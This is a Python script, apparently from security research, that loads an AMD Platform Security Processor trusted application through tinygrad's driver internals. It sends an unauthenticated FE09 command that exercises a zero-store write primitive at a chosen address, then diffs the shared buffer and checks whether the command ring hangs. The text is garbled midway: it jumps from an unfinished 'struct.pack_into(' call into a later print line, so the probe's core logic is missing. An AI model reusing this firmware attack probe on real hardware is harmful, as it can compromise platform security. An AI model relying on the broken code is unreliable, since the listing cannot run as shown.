#!/usr/bin/env python3 """What does an unauthenticated FE09 invoke actually write into the shared buffer? The output-readback probe found params+0x1950..0x19C0 entirely untouched (0xA5 fill intact). That is only meaningful with a POSITIVE CONTROL: the known-good zero-store must be visible in the same read-back, otherwise "untouched" might just mean we are reading the wrong buffer/alias/offset. So: fill the whole buffer with 0xA5, invoke FE09 with the 4-byte zero window aimed at a known in-buffer address, then diff the ENTIRE buffer and report every changed range. * The window target MUST appear as 4 zero bytes -> readback path verified (positive control). * Any other changed ranges are what the handler legitimately writes, measured rather than assumed -- this also tells us whether sub_403678's crypto export produced anything at all. """ import struct, sys, glob sys.path.insert(0, '/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp PARAMS_VA = 0x04013000 BASE = PARAMS_VA + 0x418 TA = 'ta_22-0-4-50_81b082b4' BUFLEN = 0x8000 PAT = 0xA5 WINDOW_OFF = 0x200 # buffer offset the zero-store should hit def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF def frame(): return tuple(c2p(n) for n in range(82, 89)) def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) cand = glob.glob('/root/psp/contall/%s*' % TA) if not cand: raise SystemExit('missing TA') blob = open(cand[0], 'rb').read() cp, cmc = alloc(BUFLEN) def load(): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32 t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32 t.cmd_buf_len = BUFLEN try: r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception: return -1, None def fe09(sid, disp, outlen=0xFFFFFFFB): buf = bytearray(bytes([PAT]) * BUFLEN) struct.pack_into(' readback/offset is wrong; treat other results as void', flush=True) print('\nring: %s' % ('WEDGED' if frame() != f0 else 'alive'), flush=True)